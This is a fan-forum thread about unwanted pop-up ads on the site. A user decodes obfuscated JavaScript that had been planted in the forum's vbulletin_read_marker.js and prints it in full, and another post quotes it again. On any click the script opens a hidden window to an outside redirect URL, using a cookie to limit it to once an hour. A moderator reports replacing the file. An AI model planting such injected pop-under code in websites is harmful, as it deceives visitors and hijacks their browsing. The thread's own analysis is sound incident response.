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I keep Getting a Pop Up ad on NSC



Jimmy Come Lately

Registered Loser
Oct 27, 2011
504
Hove
Yes, it's definitely the chunk of javascript at the end of vbulleting_read_marker.js that starts "eval function(p,a,c,k,e,t)". Running that function to deobfuscate the embedded code gives another blob of obfuscated code that uses the same function to unpack it. So running it through the function again I finally get this...
Code:
function PopShow3(){
	CookieTest=navigator.cookieEnabled;
	if(CookieTest){
		ClickUndercookie=GetCookie('clickunder');
		if(ClickUndercookie==null){
			var ExpDate=new Date();
			ExpDate.setTime(ExpDate.getTime()+(1*60*60*1000));
			SetCookie('clickunder','1',ExpDate,"/");
			var wnd=window.open("javascript:location.href='http://lsuebackupsite.newweb4gadget.com/images/https.php';","PopWin3","width=800,height=600,resizable=1,toolbar=1,location=1,menubar=1,status=1,scrollbars=1'");wnd.blur()
		}
	}
}
function GetCookie(name){
	var arg=name+"=";
	var alen=arg.length;
	var clen=document.cookie.length;
	var i=0;
	while(i2)?argv[2]:null;
	var path=(argc>3)?argv[3]:null;
	var domain=(argc>4)?argv[4]:null;
	var secure=(argc>5)?argv[5]:false;
	document.cookie=name+"="+escape(value)+((expires==null)?"":("; expires="+expires.toGMTString()))+((path==null)?"":("; path="+path))+((domain==null)?"":("; domain="+domain))+((secure==true)?"; secure":"")
}
document.onmouseup=PopShow3;
The last line explains why people have got the popups from different actions: it will trigger after a mouseclick anywhere on the page. And the cookie manipulation explains why we don't get it all the time, and it seems most likely on the first click after opening NSC: it sets a cookie that lasts for an hour and doesn't show the popup again until it has expired, so it will only trigger once an hour.

Slightly sneaky stuff to make the trigger for the popup seem random, and not so intrusive that the site becomes unusable. But ultimately just a popup. I suspect the lsuebackupsite URL then redirects to a random ad.
 




Albumen

Don't wait for me!
Jan 19, 2010
11,495
Brighton - In your face
Yes, it's definitely the chunk of javascript at the end of vbulleting_read_marker.js that starts "eval function(p,a,c,k,e,t)". Running that function to deobfuscate the embedded code gives another blob of obfuscated code that uses the same function to unpack it. So running it through the function again I finally get this...
Code:
function PopShow3(){
	CookieTest=navigator.cookieEnabled;
	if(CookieTest){
		ClickUndercookie=GetCookie('clickunder');
		if(ClickUndercookie==null){
			var ExpDate=new Date();
			ExpDate.setTime(ExpDate.getTime()+(1*60*60*1000));
			SetCookie('clickunder','1',ExpDate,"/");
			var wnd=window.open("javascript:location.href='http://lsuebackupsite.newweb4gadget.com/images/https.php';","PopWin3","width=800,height=600,resizable=1,toolbar=1,location=1,menubar=1,status=1,scrollbars=1'");wnd.blur()
		}
	}
}
function GetCookie(name){
	var arg=name+"=";
	var alen=arg.length;
	var clen=document.cookie.length;
	var i=0;
	while(i2)?argv[2]:null;
	var path=(argc>3)?argv[3]:null;
	var domain=(argc>4)?argv[4]:null;
	var secure=(argc>5)?argv[5]:false;
	document.cookie=name+"="+escape(value)+((expires==null)?"":("; expires="+expires.toGMTString()))+((path==null)?"":("; path="+path))+((domain==null)?"":("; domain="+domain))+((secure==true)?"; secure":"")
}
document.onmouseup=PopShow3;
The last line explains why people have got the popups from different actions: it will trigger after a mouseclick anywhere on the page. And the cookie manipulation explains why we don't get it all the time, and it seems most likely on the first click after opening NSC: it sets a cookie that lasts for an hour and doesn't show the popup again until it has expired, so it will only trigger once an hour.

Slightly sneaky stuff to make the trigger for the popup seem random, and not so intrusive that the site becomes unusable. But ultimately just a popup. I suspect the lsuebackupsite URL then redirects to a random ad.

This.
 


Bozza

You can change this
Helpful Moderator
Jul 4, 2003
57,290
Back in Sussex
Thanks Jimmy Come Lately.

I'd started work on this, this morning but had to dash out to run a few errands. When i got back, my next task was to upload some replacement files and vbulletin_read_marker.js was one of those files.

I'm working through the files now, one by one, and vbulletin_read_marker.js has already been replaced.
 








SIMMO SAYS

Well-known member
Jul 31, 2012
11,749
Incommunicado
As a complete plank when it comes to all this stuff I have just gone on NSC and got that yanky bird again trying to sell me stuff?
I understand Bozza has got his hands full so good luck to him if he can sort this shi# out.
At least I'm not getting smutty stuff at the mo which was hard to explain to my 13 year old on Friday.
Although its probably lurking about still.
 


Bozza

You can change this
Helpful Moderator
Jul 4, 2003
57,290
Back in Sussex
I'm 99.9% sure it has been fixed.

However, your browser may have cached an old version of the bad file, which means you may still get pop-ups. To stop this, clear your browser history for all NSC stuff and you should find you don't get pop-ups any more.
 


Acker79

Well-known member
NSC Patron
Nov 15, 2008
31,921
Brighton
I haven't had a pop up since before your last post, so seems fine to me (touch wood). Thanks!
 






Bozza

You can change this
Helpful Moderator
Jul 4, 2003
57,290
Back in Sussex
Still getting pop ups on chrome though thankfully being blocked by avast. Seems to happen after I log onto NSC and then click a thread

Your browser has a cached version of a bad file - clear your history/cache for NSC and you'll be good.
 






Garage_Doors

Originally the Swankers
Jun 28, 2008
11,790
Brighton
When on the IPad when selection topics to read it opens a second tab to a advertising page offering loads of money to work form home, is this the same thing you guys are talking about?
 


Tricky Dicky

New member
Jul 27, 2004
13,558
Sunny Shoreham
When on the IPad when selection topics to read it opens a second tab to a advertising page offering loads of money to work form home, is this the same thing you guys are talking about?

I reckon so, I'm getting that too on my pad ..... Plus NSC is incredibly slow when typing, about one char per second.
 








Acker79

Well-known member
NSC Patron
Nov 15, 2008
31,921
Brighton
When on the IPad when selection topics to read it opens a second tab to a advertising page offering loads of money to work form home, is this the same thing you guys are talking about?

Yeah, but it will be the same issue as above. Clear your cache/history and it should stop happening.

I reckon so, I'm getting that too on my pad ..... Plus NSC is incredibly slow when typing, about one char per second.

I've got that too, I think it's related to the snow. Another poster in this thread has commented about the snow using up his CPU.

... Plus the double post thang.

If you get taken to a "This forum limits you from posting more than once in 60 seconds" or whatever page, just click away from it and you'll find you've already posted that post (or that seems to be the case with me).
 


The Oldman

I like the Hat
NSC Patron
Jul 12, 2003
7,160
In the shadow of Seaford Head
Yeah, but it will be the same issue as above. Clear your cache/history and it should stop happening.



I've got that too, I think it's related to the snow. Another poster in this thread has commented about the snow using up his CPU.



If you get taken to a "This forum limits you from posting more than once in 60 seconds" or whatever page, just click away from it and you'll find you've already posted that post (or that seems to be the case with me).

Agree with that advice. works for me too but NSC is very snow slow
 








Bozza

You can change this
Helpful Moderator
Jul 4, 2003
57,290
Back in Sussex
Double posts seemed to start, again, with the re-introduction of the notification/user tagging modification.

The snow does seem to be causing people issues though, so I'll remove it and try and find a less intensive script.
 


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